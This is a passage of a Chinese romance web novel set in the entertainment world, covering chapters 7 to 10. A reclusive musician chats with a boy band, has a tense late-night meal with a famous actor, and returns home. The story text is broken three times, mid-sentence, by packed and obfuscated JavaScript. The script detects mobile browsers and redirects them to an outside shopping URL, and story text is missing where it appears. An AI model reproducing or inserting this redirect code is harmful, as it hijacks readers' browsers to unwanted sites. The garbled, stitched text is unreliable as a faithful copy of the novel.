《万人迷是在说我吗?[娱乐圈]》 7.出门 听到这里,凌骁冷不丁地开口,“你喜欢那个作曲家?” 他指的是刚才迟临弹奏曲目的作曲人。 江玥想了想,摇头。 “谈不上非常喜欢,只是听过且欣赏,他的音乐太出名了。” “那,前辈您喜欢什么样的音乐?”苏亦辰好奇地问。 江玥捧着水杯,看着杯子里晃动的水面,认真思考这个问题。 过了几秒,她才缓缓开口:“没有固定的类型。只要是能打动我的,我都听。” “可能是氛围音乐,也可能是蓝调,有时候也会听一些很吵的工业噪音。” “只要是真实的,有表达的,我都喜欢。” “工业噪音?”路深发出了疑问,显然这个词超出了他的认知范围。 纪星衍在旁边言简意赅地进行科普:“就是……很多刺耳且不和谐的音色叠在一起,听起来像工厂里机器运作的那种。前辈的音乐品味,涉猎很广啊。” “那不是纯纯的噪音吗?”路深努力想象了一下,脸上露出痛苦的表情,“听那个不会头疼吗?” 江玥没有接话,只是又喝了一口水。 凌骁接过话茬:“有时候,情绪需要的就是那样的宣泄。” 他放下了抱在胸前的手臂,看着路深,“有情绪的噪音,和没有意义的噪音,是两回事。” 然后他转向江玥,“前辈的音乐里,有很多氛围和采样的细节,处理得很干净,也很特别。我之前一直很好奇前辈的采样源,现在有点明白了。” 他的话显然是对江玥的认同。 江玥有些意外地看了凌骁一眼。 “是这个道理。”她点头,顺着他的话说了下去,“很多实验音乐,就是在探索声音的边界和可能性。和谐的音阶能表达美,不和谐的音色同样能表达愤怒、挣扎、混乱、或者其他复杂的情绪。它们都是音乐语言的一部分。” “哇……”夏予光发出一声感叹,小声嘀咕,“等等,怎么感觉像是在上音乐理论课。” 凌骁的嘴角难得地勾起一个极淡的弧度,快得几乎无法捕捉。 他看着江玥,继续问道:“那前辈也自己用噪音做音乐吗?” “以前玩过一阵。”江玥回答得很谦虚,“用合成器和采样器做一些小样,算不上正式的作品,只是个人兴趣。” “前辈懂得真多!好厉害!”夏予光又变成了星星眼。 “啊,过奖了。”江玥有些不好意思地抠抠脸。 客厅里的聊天内容,因为找到了一个江玥熟悉且擅长的话题,而变得异常顺畅起来。 从实验音乐聊到合成器品牌,从音乐情绪聊到音乐人。 凌骁和江玥的对话逐渐占据了主导,两人你来我往,讨论着各种编曲技巧和音乐设计的细节,其他人虽然不完全听得懂,但也听得津津有味。 迟临看着大家相谈甚欢,心中悄悄松了口气。 能聊到一起去,就是个好兆头。 时间在不知不觉中流逝,墙上的挂钟时针已经指向了九点。 话题也从专业的音乐制作,慢慢转移到了更轻松的领域。 “说起来,前辈平时也打游戏吗?”路深听见江玥说自己喜欢某个游戏的配乐,终于找到了一个自己能插上话的话题。 江玥点了点头。 “玩什么玩什么?”路深和夏予光异口同声地问,眼睛里闪烁着期待的光。 江玥想了想,“最近在玩一些像素风的独立游戏。” 一场关于游戏的讨论又热火朝天地展开了。 夏予光和路深就像找到了组织,围着江玥叽叽喳喳地分享着自己的游戏心得,连一直安静呆在一边的陆子野都偶尔会抬起头,投来关注的目光。 江玥话不多,大多时候只是安静地听着,偶尔“嗯”一声,或者点头。 就在夏予光手舞足蹈地描述他在某个游戏中如何利用bug干坏事时,一个不合时宜的声音响了起来。 “咕噜。” 声音的来源,是江玥的小腹。 夏予光的动作僵在半空中,路深张着嘴忘了说话。 所有人的目光,再一次,齐刷刷地聚焦到了江玥身上。 江玥整个人都僵住了。 她捧着那杯已经凉掉的水,恨不得能立刻挖个地缝钻进去。 脸上刚刚褪去的热度,以更快的速度重新涌了上来,这次连带着脖子和耳朵都变成了粉红色。 睡醒后她就没吃任何东西,中午那顿大餐的热量早已在几个小时的睡眠中消耗殆尽,加上刚才精神高度集中地聊了那么久,她的胃终于发出了抗议。 “噗。” 不知道是谁没忍住笑出了声。 这声轻笑导致路深和夏予光对视一眼,再也憋不住,爆发出惊天动地的笑声。 “哈哈哈哈哈哈前辈你肚子叫了!” “天呐前辈你也太可爱了吧!” “中午是我肚子叫,现在轮到前辈肚子叫了!” “别笑了。” 迟临虽然也忍着笑,但还是板起脸制止了两个无法无天的弟弟。 他看向窘迫到快要原地蒸发的江玥,关切地问:“前辈,您是不是还没吃晚饭?” 江玥把脸埋得更低了,几乎要埋进水杯里,然后极轻极轻地点了一下头。 “什么?!”夏予光停止了大笑,一脸震惊,“前辈你到现在还没吃饭?晚饭时间早就过了啊!” “对啊,我们都以为你吃过了。”苏亦辰也露出了担忧的神色,“饿了这么久怎么行。” “我睡过头了。”江玥小声解释,声音听起来闷闷的。 “那怎么不跟我们说一声啊?”路深挠着后脑勺,脸上的笑容消失了,取而代之的是一种憨厚的懊悔,“我们光顾着拉您聊天了,完全没注意时间。这就是虐待大前辈啊,要是被刘姐知道,我们肯定要被念叨死。” 整个NOVA7都陷入了一种集体性的愧疚之中。 他们居然让大前辈饿着肚子陪他们聊了快两个小时的天,半夜睡着了都得起来给自己两巴掌。 江玥感觉更尴尬了。 她本来只是想安安静静地出门找点吃的,结果现在变成了惊动所有人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785849|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公开事件。 她清了清嗓子,试图让这件事赶紧翻篇。 “没关系,真的没关系。我本来也准备出去吃点东西的,只是刚才聊得太投入,忘了时间。” 她说着,便迅速站了起来,“我先上楼换件衣服。” 不到十分钟,楼梯上传来了脚步声。 江玥换了一身装束。 为了不那么引人注目,她特意戴了一顶黑色的鸭舌帽,帽檐压得很低,脸上还戴着一个纯黑色的口罩,只露出一双眼睛。 “诶?前辈你要一个人出去吗?”苏亦辰立刻问,脸上写满了“不行不安全”。 “这么晚了,这附近虽然安保不错,但毕竟人流量较少。” 迟临皱起眉,他下意识考虑到了更多层面的问题,不仅是安全,还有艺人的隐私。 “万一碰到私生饭或者狗仔怎么办?前辈一个人太危险了。” 他说着,已经拿出了手机,手指在屏幕上滑动,“要不我让助理现在订点餐送过来?虽然可能稍微慢一点,但胜在安全。前辈想吃什么?这附近有几家私密性不错的餐厅是可以送外卖的。” “不用麻烦了,真的不用。”江玥连忙摆手,拒绝得飞快,“我自己出去随便吃点就好,就在这附近,我不走远。” 一直旁听的纪星衍放下了手里的书,他看着江玥,问:“前辈是想出去透透气吧?” 江玥抬起头,有些惊讶地看向他。 在有些让人窒息的好意包围中,竟然有人能一眼看穿她真正的需求。 纪星衍对上她的视线,唇角勾起一个浅浅的弧度。 他没有给江玥回答的时间,而是转向迟临,提出了一个建议:“临哥,这附近我记得有家二十四小时营业的日式家庭餐厅,环境很安静,开车过去也就十分钟。现在这个时间点,人应该很少。” 他停顿了一下,目光重新落回江玥身上,给了江玥一个选择的台阶,“不如我们一起去吃点夜宵?就当是陪前辈吃一顿迟到的晚餐,顺便我们也当作今天训练的加餐补偿。” “当然,如果前辈想一个人去,享受一点安静的时间,我们也可以帮您叫好车在门口等着,确保您安全到达后再回来。” 这个提议堪称完美。 江玥抬起头,迎上纪星衍含笑的目光。 “谢谢。” 然后她转向众人,“你们不是要控制饮食吗?那我自己去就可以了,我很快就回来。” “啊……”夏予光有些小小的失落,呆毛都耷拉了下来,但还是立刻懂事地挥手道别,“那好吧,前辈路上小心哦!记得多吃点好吃的替我们尝尝!” “早点回来,有事随时给我们打电话。”迟临叮嘱道,眉宇间的担忧并未完全散去,但他还是尊重了江玥的选择,“餐厅的位置我发到您手机上,那个老板我们认识,很安全。” 苏亦辰则一直把她送到了门口玄关处,看着她换鞋,忍不住又问了一句:“前辈,外面晚上有点凉,要不要再加件外套?” “不用了,谢谢。” 江玥笑笑,换好鞋,拉开门走了出去。 8.偶遇 江玥按照迟临给的地址打了车。 十分钟后,车子停在一家看起来很低调的日式餐厅门口。 木质的格栅门,门口挂着一盏印着“営業中”的白灯笼,在夜色里散发着温暖的光。 她拉开门,门上的风铃发出一串清脆的响声。 “欢迎光临。”吧台后穿着制服的服务生招呼了一声。 餐厅里非常安静。 暖色的灯光,原木的桌椅,墙上贴着一些日式风格的海报。 除了她之外,只有零星两三桌客人,都各自安静地吃着东西,或者低声交谈。 江玥被引到一个靠窗的两人卡座,点了一份鲑鱼茶泡饭和一份玉子烧。 等待上餐的时间里,她什么也没做,只是侧头看着窗外。 窗外是一片小小的竹林造景,夜风吹过,竹叶沙沙作响。 这一刻,江玥是完全放松的。 没有摄像机,没有需要应对的社交,没有来自外界的审视和期待。 她只是一个饥肠辘辘的普通人,在深夜的餐厅里,等待一碗热气腾腾的饭。 茶泡饭很快就上来了。 温热的茶汤浇在米饭和烤得焦香的鲑鱼上,撒上海苔碎和芝麻粒,香气瞬间蒸腾而起。 江玥拿起勺子,慢慢吃了起来。 温暖的食物熨帖着空荡荡的胃,让她从身体到精神都感到了巨大的慰藉。 就在她吃完茶泡饭,又开始啃玉子烧时,门口的风铃又响了一声。 “欢迎光临。” 江玥没有在意,继续小口地吃着东西。 邻桌原本在低声交谈的两个女生,突然安静了下来,并且江玥能感觉到她们的视线越过自己,投向了门口的方向,眼神里带着压抑不住的激动和惊讶。 连吧台后原本昏昏欲睡的服务生,也瞬间站直了身体。 江玥有些好奇,顺着他们的视线,也回头看了一眼。 门口站着一个男人。 他很高,穿着一件简单的黑色风衣,里面是同色的高领毛衣,衬得他身形挺拔,肩宽腿长。 他戴着一顶黑色的鸭舌帽和同色系的口罩,帽檐压得很低,几乎遮住了大半张脸,只露出线条流畅的下颌和一双深邃的眼睛。 即便遮挡得如此严实,他身上沉静强大的气场,依然让他像一块磁石,吸引了餐厅里大部分人的注意力。 表面上,他不是那种张扬的帅气,而是一种经过沉淀后的内敛,像一杯陈年的酒,醇厚,且后劲十足。 江玥只看了一眼,就迅速地回过头,心跳莫名漏了一拍。 直觉告诉她,这个人是个名人,而且是非常非常有名的那种。 并且,怪眼熟的。 她低下头,假装专心致志地对付盘子里最后一块玉子烧,努力降低自己的存在感。 她只想安安静静地吃完饭,然后离开。 那个男人和服务生低声交谈了几句,服务生连连点头,领着他朝江玥这个方向走了过来。 江玥的心提到了嗓子眼。 别过来,别过来…… 可惜总是事与愿违。 服务生领着那个男人,停在了她对面的空位前。 这个卡座是两人位,但江玥是一个人,所以对面是空着的。 餐厅里虽然空位还很多,但靠窗视野最好的位置,就只剩下她这里了。 “不好意思,这位女士,”服务生的声音带着歉意,“今晚靠窗的位置只剩下这里了,您看方便拼个桌吗?” 江玥:“……” 她能说不方便吗? 没等她开口,男人先说话了。 他的声音隔着口罩,听起来有些微的沉闷,但依然能分辨出那是一种极富磁性的声音,温和且有礼。 “如果会打扰到你,我坐别处也可以。” 江玥飞快地抬头看了他一眼,又迅速低下头。 那人的目光很平静,没有丝毫的压迫感,只是安静地等待着她的回答。 “没关系,你坐吧。”江玥小声说道。 “谢谢。”男人道了谢,便在她对面坐了下来。 他脱下风衣外套,随意地搭在旁边的椅背上,然后摘下了帽子和口罩,露出了整张脸。 即使是再脸盲的人,也不可能认不出这张脸。 深邃的眉眼,高挺的鼻梁,薄而性感的嘴唇,组合在一起是一张英俊到极具攻击性的面孔。 但是他周身的气质却是温和沉静的,中和了那份攻击性,化为一种独特的魅力。 ——大名鼎鼎的影帝,沈斯延。 那个拿遍了国内所有权威电影奖项,年仅二十八岁就登顶演艺圈的男人。 江玥的大脑嗡的一声,一片空白。 她就说这人多身影怎么如此熟悉。 她当然认得他。 沈斯延不仅是大影帝,还是她的伯乐。 只是从选秀节目出道之后,她和沈斯延见面的次数寥寥无几。 回忆涌上心头,江玥的手心开始冒汗,吃东西的动作也变得僵硬起来。 沈斯延似乎并没有注意到她的异常,他只是安静地点了餐,然后便靠在椅背上,闭目养神,似乎很疲惫的样子。 两人之间隔着一张小小的桌子,谁也没有说话。 江玥用最快的速度吃完了剩下的东西,准备起身离开。 远离社交。 这是她唯一的念头。 江玥站起身,正准备去结账。 对面的沈斯延却在这时睁开了眼睛,叫住了她。 “好久不见,神珠小姐。” 江玥准备去结账而微微前倾的身体,瞬间僵住。 这个称呼是她在选秀节目里的绰号,是沈斯延作为导师,在万千练习生中和她初次相遇时,一时兴起给她取的。 随着比赛结束,她重新做回江玥,这个名字也随之被封存,除了粉丝偶尔提及,几乎快要被她自己遗忘。 此刻被他以一种平淡无波的语调重新唤起,竟带上了几分恍如隔世的意味。 “怎么,不认识我了吗?” 她有些呆滞地转过身,对上了沈斯延的目光。 沈斯延靠在卡座柔软的靠背上,姿态慵懒放松,深邃的眼眸在餐厅温暖的灯光下,显得格外幽深。 江玥感觉自己的喉咙有些发干,脸上努力挤出一个笑容。 “怎么会,沈老师,”她的声音比预想中要沙哑一些,带着明显的紧张。 “我当然认识您,只是看您在休息,不好扫了您的雅兴。” 她下意识地用上了敬语,每一个字都说得小心翼翼,仿佛生怕一不小心就触碰到什么沈斯延的禁忌。 虽然她现在是云际一姐,但是沈斯延也是云际一哥,并且!沈斯延的咖位比她大多了。 最重要的是,沈斯延是老板裴景昭的发小,他俩都是资本的代言词。 她得罪不起啊。 “我还以为,你要装作不认识我,直到这顿饭吃完呢。” 沈斯延看着她这副如临大敌的模样,眼底的笑意加深了几分,但笑意并未真正抵达眼底,只是让他的嘴角勾起一个似笑非笑的弧度。 “至于雅兴?” 他重复了一遍这个词,低沉的嗓音带着玩味,“我只是刚结束一场拍了十八个小时的戏,累得快要散架,想找个地方吃碗面而已。没什么雅兴可言。” 他的话语很随意,却无形中拉近了两人之间的距离,也让江玥的紧张稍微缓解了一点点。 原来坐在我对面的,是累得像条狗的大影帝。 这个念头在江玥脑海里一闪而过。 “那您好好休息,我不打扰了。”江玥抓住机会,立刻就想开溜。 “等等。” 沈斯延再次开口,截断了她的退路。 他用手指轻轻敲了敲桌面,于是江玥的脚步像被钉在了原地,无法再移动分毫。 沈斯延的目光从她略显苍白的脸上,滑到她面前已经空了的餐盘,最后又回到她的眼睛上。 “陪我聊会儿,怎么样?” 他的语气很平淡,带着一点熟稔的自然,摆明了不想让江玥离开。 “愿不愿意?” 这不是一个疑问句。 他的眼神,他的语气,他敲击桌面的手指,都在传递着一个信息:他希望她留下。 江玥的大脑飞速运转。 拒绝?她找不到任何合适的理由。 说自己有急事?她的状态明明白白地写着没事干。 说自己累了想回去休息?对面坐着一个刚拍完十八个小时戏的人,这话怎么也说不出口。 接受?那意味着她要和这位传说中的大影帝,在这方寸之间的卡座里,进行一场前途未卜的谈话。 光是想一想,就让她头皮发麻。 江玥站在原地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他居然还记得。 “我……”江玥一时语塞,不知道该如何回答。 沈斯延却没有再追问下去,他换了个话题,仿佛刚才那个问题只是随口一提。 “那档综艺,为什么会接?”他看着她,语气变得认真了一些,“我不认为那是裴景昭能逼你去的地方。” 他太了解裴景昭了,也太了解眼前的这个女孩了。 裴景昭确实非常精明,但江玥的固执,有时候连资本都无可奈何。 如果她自己不愿意,裴景昭其实无法强迫她住进一个满是摄像头的房子里,和七个陌生男人同居七天,还要一起旅居三个月。 江玥的呼吸滞了一瞬。 她下意识地避开了沈斯延的目光,看向窗外的竹林。 夜风吹过,竹叶摇晃,光影斑驳地洒在地面上。 为什么? 她也在问自己。 是为了那笔不菲的酬劳,可以让她很长一段时间可以躺平? 是为了还裴景昭给她艺人最好待遇的人情,还是让他别再用各种无关紧要的通告来烦她? 又或是内心深处,也有一丝想要改变的渴望?渴望从那个只有音乐和自己的壳里,走出来看一看? 这些原因盘根错节,连江玥自己都理不清。 她又要如何向对面这个只见过寥寥数面,却仿佛能看穿她一切的男人解释清楚? “因为裴总给的太多了。” 她欲言又止,止言又欲,最后只好先用这个借口来糊弄一下。 沈斯延忽然叹了口气。 他没有再逼她回答什么。 他重新拿起筷子,说了一句没头没尾的话:“算了。” 他低头专心地吃起了自己的面,仿佛刚才那番交谈从未发生过。 江玥看着他,眼神发飘,心里翻江倒海。 沈斯延进一步,她退一步,他再进一步,她再退一步。 而就在她退无可退的时候,他却又云淡风轻地收回了手,让她悬在半空的心,落也不是,不落也不是。 这种感觉让她感到无力。 但奇怪的是,她心里却没有产生厌恶的情绪。 或许是因为,她能感觉到,对方层层叠叠的试探之下,似乎并没有恶意。 “沈老师。” 江玥深吸一口气,主动开了口。 沈斯延抬起头,黑色的眼眸安静地看着她,等待她的下文。 “我……” 江玥看着桌上的水杯,回答了那个问题。 “我只是想试试,换一种生活方式,会不会……有什么不一样。” 9.没吃 沈斯延正夹着一撮拉面的手,在空中停顿了一瞬。 他抬起眼,看向坐立不安的江玥。 他没有立刻说话,只是看着她。 过了许久,久到江玥几乎以为他不会再有任何回应时,她才听到了对面一声从喉咙里发出的气音,像是哂笑。 紧接着,她看到沈斯延那只骨节分明的手,端起了桌上的水杯。 江玥终于忍不住,抬起了眼皮,小心翼翼地觑了他一眼。 沈斯延挑了一下眉。 江玥从他的神情里读出了一丝显而易见的意外,以及一丝被完美掩藏在深处的不以为然。 沈斯延心里确实是意外的。 在沈斯延看来,江玥是一块未经雕琢的璞玉,是他亲手擦去了上面的尘埃,让她得以在最耀眼的舞台上绽放出独一无二的光芒。 他了解她的才华,也深知她与才华相伴相生的孤僻与固执。 他原本以为她会永远待在既定的轨道上,在音乐的世界里做她孤高的王。 可现在,她说她想换一种生活方式。 和七个他几乎叫不上名字的,并且年轻得过分的偶像男团成员一起。 这个认知让沈斯延的心里,泛起了一点极其细微的酸涩。 他不会阻止,甚至会鼓励,但那份独属于发掘者的骄傲和占有欲,却让他无法做到心平气和。 “哦?” 沈斯延发出一个单音节的词,将水杯送到唇边,却没有喝,只是用指腹摩挲着杯壁。 “换一种生活方式……”他慢条斯理地重复着她的话,仔细品味其中的含义,“就是和七个年轻的男孩子住在一起,陪他们聊天,听他们弹琴,甚至饿着肚子也要维持表面的和谐?” 江玥的脸一下子全红了。 他怎么会知道?! 看到江玥骤然变化的表情,沈斯延眼底的笑意更浓。 他当然不知道细节。 他只是根据这群人最基本的性格,做出了最合理的猜测。 一群二十岁上下的男生,聚在一起除了训练和工作,还能聊什么?而江玥,这个连按时吃饭都做不到的社恐,在那种环境下会发生什么窘事,也几乎是可以预见的。 他不过是随口一诈,没想到真被猜中了。 “别这么紧张。” 沈斯延终于喝了一口水,给这件事情做了一个平淡的总结:“看来,你的新生活,过得比我想象中还要多姿多彩。” 沈斯延放下了水杯,用餐巾慢条斯理地擦了擦嘴角,继续说: “我当初把你从一百个人里选出来,是因为你的音乐。” “你的才华和你的专注,才是你最锋利的武器。” “我不希望看到这把武器,因为一些无关紧要的人和事而变得迟钝。” 无关紧要的人和事。 这六个字刺进了江玥的心里。 他在说NOVA7,在说这个综艺,在说她刚刚才体验到的带着烟火气的温暖。 在江玥自己看来无比重要的尝试,在他眼里,不过是无关紧要的消遣。 一股莫名的委屈和不甘,从心底涌了上来。 “他们不是无关紧要的人。”江玥几乎是脱口而出。 说出口的瞬间,她自己都愣住了。 空气再次凝固。 沈斯延脸上的表情没有任何变化,但江玥能感觉到,他周围的气压似乎在一瞬间降低了。 他看着她,目光沉凝,像是在重新评估眼前的这个人。 江玥的心脏狂跳不止,手心里全是冷汗。 她后悔了。 她为什么要多这一句嘴?她明明可以像以前一样,沉默地听着,然后默默地消化掉所有情绪。 完了完了,顶撞大影帝,她明天不会因为左脚先踏进NOVA House,下一秒就被裴景昭和沈斯延联手雪藏了吧? 预想中的雷霆之怒并没有降临。 沈斯延只是沉默地看了她几秒钟,然后,他笑了。 这一次,是真切的笑意,眼角都带上了细微的纹路。 “他们怎么个不无关紧要法?是每天和一群人热热闹闹地待在一起,聊游戏,吃夜宵?听起来确实和你以前很不一样。” 沈斯延的话语里没有质问,只是客观地复述一遍,甚至还带着点善解人意的认同。 可江玥却听得心里一咯噔。 她感到一阵莫名的困惑。 为什么沈老师的关注点会在这里? 她以为他会问她,这种改变对她的音乐创作有什么影响。 她以为他会关心,她是否还能保持创作的初心。 这些才是她认识的那个,对专业有着极致追求的沈斯延会问的问题。 可他现在,却把重点放在了日常相处这些无关紧要的细枝末节上。 “也,也不全是。”江玥被他问得有些惶然,只能含糊地辩解,“大家人都很好,相处起来还算融洽。” 她感觉自己像是在向家长汇报学校情况的小孩,而对面的家长似乎对她的新同学们抱有某种审视的态度。 沈斯延看着江玥有些慌乱,试图解释却又说不出个所以然的笨拙模样,心里的酸涩感非但没有减弱,反而愈发清晰了。 大家人都很好。 这句评价让他觉得有些刺耳。 那是他所不了解的一群人,是他所不熟悉的一个环境。 而她,正在那个环境里,觉得很好。 沈斯延端起茶杯,又喝了一口温热的茶水,借以掩饰自己几乎要失控的情绪。 他告诉自己,这只是作为伯乐,对千里马偏离了预设轨道的担忧。 是爱才之心,是惜才之情。 他不希望自己看中的璞玉,被同居旅行综艺那种喧嚣浮躁的环境磨去灵气。 对,就是这样。 他在心里为自己反常的情绪找到了一个合理的解释。 “挺好的。年轻人是该多体验体验。” 他说着,语气像个慈爱的长辈,“别总把时间都浪费在只有黑白键和五线谱的世界里。偶尔看看外面的风景,接触一些不同的人,对创作也许确实有好处。” 这下,江玥是彻底迷惑了。 她瞪大了眼睛,丈二和尚摸不着头脑地看着沈斯延。 她清楚地记得,选秀比赛时,不止一位导师批评过她性格孤僻,不合群,不利于团队发展。 只有沈斯延力排众议,说她的孤僻恰恰是她最宝贵的特质,那能让她完全沉浸在自己的音乐世界里,不被外界所扰。 他曾是她所有格格不入最坚实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819295|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借口。 可现在,这个借口亲口对她说,别总待在自己的世界里。 这让江玥产生了一种强烈的认知错乱感。 ……今天的沈老师真的好奇怪。 江玥的困惑与茫然,被沈斯延尽收眼底。 他知道自己今天的言行举止有多反常,连他自己都觉得陌生。 但他控制不住。 只要一想到,她口中的新生活,是和七个他只在广告牌上见过的年轻面孔绑定在一起,他就无法保持平日里的冷静从容。 他不再看她,重新低头吃面。 豚骨拉面的汤头很浓郁,但他却有些食不知味。 一时间,小小的卡座里再次陷入了沉默。 江玥低着头,手指无意识地在水杯壁上划来划去,脑子里一团乱麻。 沈斯延则用最快的速度,解决掉了碗里剩下的食物。 “你的新设备,裴景昭应该会安排人送过去。” 他的话题转得猝不及防,让江玥一时没能跟上。 “嗯,裴总发消息说了。”江玥愣愣地回答。 “那就好。”沈斯延点了点头。“到时候,把你的新作品,发给我听听。” “不管是完整的,还是只有一段旋律的小样,都可以。我想知道,你在新生活里,能做出什么样的音乐。” 见江玥依旧愣愣的不回答,沈斯延突然语气犀利地问:“还是说,你已经什么都写不出来了?” 这一句话,带着毫不掩饰的激将法。 江玥抬眼看向沈斯延。 他已经重新戴上了口罩,深邃的眼睛在帽檐的阴影下,显得愈发晦暗不明。 他这是什么意思? 一边否定她的选择,一边却又开始检查她的作品。 江玥的心里五味杂陈,只是说:“嗯,我会的。” 得到了想要的答复,沈斯延吃完最后一口面,用餐巾擦了擦嘴,然后站起身。 他穿上黑色的风衣,重新将自己包裹起来,只留下一双眼睛露在外面,居高临下地看着还坐在位置上一脸状况外的江玥。 “早点回去吧。” 他说。 “别让你的新家人们等急了。” 不等江玥从这句话里品出任何味道,沈斯延已经转过身,戴上帽子,头也不回地朝着门口走去。 门口的风铃发出一串清脆的碰撞声,然后又归于沉寂。 江玥一个人坐在原地,手里还捧着已经凉透了的水。 她看着空无一人的对面,脑海里不断回响着他离开前说的那句话。 他为什么要在“新家人们”这个词上加重音? 是提醒她,她现在是综艺的一份子,要遵守集体规则吗? 还是有什么别的意思? 她想不明白。 她只觉得,今晚的沈斯延,从头到脚都透着一股说不出的古怪。 而这场突如其来的莫名其妙的谈话,比饿着肚子和七个人尬聊一晚上,还要让她感到不知所措。 “大影帝是不是吃错药了?” 她嘀咕着得出结论,收拾好东西离开了餐厅。 “还是说因为太累,把负面情绪都宣泄在我身上?” “算了,我还是不要和累得像条狗的大影帝计较了。” 10.进群 等到江玥回到别墅时,墙上的挂钟时针已经指向了十一点。 “前辈,您回来了。” 江玥的脚步一顿,循声望去。 苏亦辰正坐在吧台的高脚凳上,手里捧着一本烹饪书,看到她回来,立刻合上书,脸上露出一个温和的笑容。 再定睛一看,不只是苏亦辰,其他人也都在。 大多数人都显出了疲态,夏予光甚至已经抱紧靠枕瘫在沙发上,半眯着眼睛,一副随时都能睡着的样子。 他们似乎一直在等她。 “嗯,我回来了。”江玥低声应道,朝着众人点了点头。 “前辈您可算回来啦!” 原本已经进入半睡眠状态的夏予光,一个激灵坐直了身体。 他揉着眼睛,声音还带着浓浓的鼻音,但话里的雀跃却是实打实的。 “我们都快担心死您了!电话也打不通!” 江玥下意识地摸出口袋里的手机。 屏幕上显示着几个未接来电,都来自同一个陌生的号码,大概是团队的公用手机。 但她在餐厅时开了静音,完全没有注意到。 “抱歉。”江玥低声说:“我手机静音了。” “人回来就好。” 迟临的神情比其他人要严肃一些,眉宇间带着一丝疲惫,但更多的是松了口气的放松。 “前辈一个人在外面,我们不太放心。” 江玥低着头,感觉脸上有些发烫。 她只是一个人出去吃顿饭而已,却让他们在这里干等了快两个小时。 这种感觉很奇怪。 有点像小时候晚归,发现家人都坐在客厅里等门。 有被管束的不自在,但更多的是一种被牵挂着的踏实感。 “对不起,让大家担心了。” “哎呀,前辈您别道歉嘛!” 夏予光从沙发上蹦下来,几步凑到江玥面前,小虎牙露了出来,“我们就是等您一起回来嘛!大家都在才叫一个家呀!” 江玥怔愣:“……家?” 纪星衍瞥了眼江玥茫然的神色,慢悠悠地开了口:“夏予光,你是不是对家这个词有什么误解?正常人家里不会有一堆摄像头二十四小时对着你拍。” 他一句话就戳破了夏予光营造出的温馨气息。 夏予光被噎了一下,不服气地回头瞪他:“星衍哥!你能不能不要在这种时候煞风景!” “我只是在陈述事实。”纪星衍摊了摊手,“免得有人入戏太深。” 他这番话,看似是在冷漠地拆台,却在无形中帮江玥解了围。 这只是在录节目。 所有的温情和关心,或许都只是营业的一部分。 这个认知让江玥心里刚刚升起的暖意冷却了几分,却也让她紧绷的神经放松了下来。 面对同事,总比面对一群所谓的家人要容易得多。 江玥抬头对他们说:“谢谢大家,我吃过了。你们快去休息吧,明天不是还要早起训练吗?” “我们不困!” 路深立刻大声反驳,结果话音刚落,就打了个大大的哈欠,眼角都飙出了生理性的泪水。 客厅里响起一阵压抑的低笑。 就连一直窝在角落里没什么存在感的陆子野,嘴角都微微向上扬了一下。 路深的脸瞬间涨红,不好意思地挠了挠自己的脑袋,“好吧,确实还是有点困了。” “前辈,”苏亦辰轻声问:“您脸色怎么这么差?是没吃好吗?还是路上遇到什么事了?” 他的眼睛里满是真诚的关切,让江玥那些准备好的敷衍客套话,一时都说不出口。 她的脸色很差吗? 江玥下意识地摸了摸自己的脸。 “没有,吃得很好。” 她摇了摇头,努力让自己的声音听起来轻松一些,“只是有点累了。” “累了?”苏亦辰显然不信这个说辞,“可您出去的时候,看起来还……” 他还想说什么,但似乎又觉得追问下去不太礼貌,便把后半句话咽了回去。 江玥不知道该如何解释自己这身挥之不去的疲惫。 她总不能说,自己被累成狗的大影帝逮着讨论人生理想,精神被反复蹂躏了几十分钟吧。 她只能沉默。 纪星衍放下手中的书,站起了身。 他走到吧台边,从保温壶里倒了一杯温热的牛奶,然后端着杯子向江玥走来。 “时间不早了,前辈应该是困了。” 他的声音恰到好处地打破了僵局,“有什么事,明天再说吧。让前辈先上去休息。” 他说着,将那杯温牛奶递到了江玥面前。 “睡前喝杯热牛奶,有助于睡眠。” 江玥接过牛奶,“谢谢。” “不客气。早点休息,前辈。” 苏亦辰也反应过来,连忙附和道:“对,前辈快上去休息吧,是我们不好,一直拉着您说话了。” “好了,时间不早了,”迟临站起身,拍了拍手,“都早点休息,养足精神。” 他的话就是一道指令,原本姿态各异的成员们纷纷起身,准备回房。 迟临将目光转向一直安静捧着水杯的江玥,“前辈也早点休息。今天很高兴能和您聊音乐。” “晚安,前辈。”最先响应的是苏亦辰。 “前辈晚安!” “前辈好好休息。” “晚安。”凌骁言简意赅。 纪星衍对着江玥点了点头,微笑道:“做个好梦,前辈。” 陆子野也抬起头,对着她小幅度地点了点头,算是打了招呼。 江玥:“晚安。” 说完这两个字,她终于找到了逃离的借口,立刻转身,以一种近乎竞走的速度,脚步又快又急。 上楼,转弯,消失在楼梯的拐角。 整个过程行云流水,一气呵成,带着落荒而逃的意味。 客厅里安静了一秒。 随即,看着她匆忙消失在楼梯拐角的背影,还站在原地的七个成员面面相觑,终于有人没忍住,“噗嗤”一声笑了出来。 “哈哈哈哈哈哈!”夏予光第一个笑得前仰后合,毫无形象地瘫回沙发上,“你们看到了吗?前辈刚才走路都快带出残影了!她是不是以为我们在追杀她啊!” 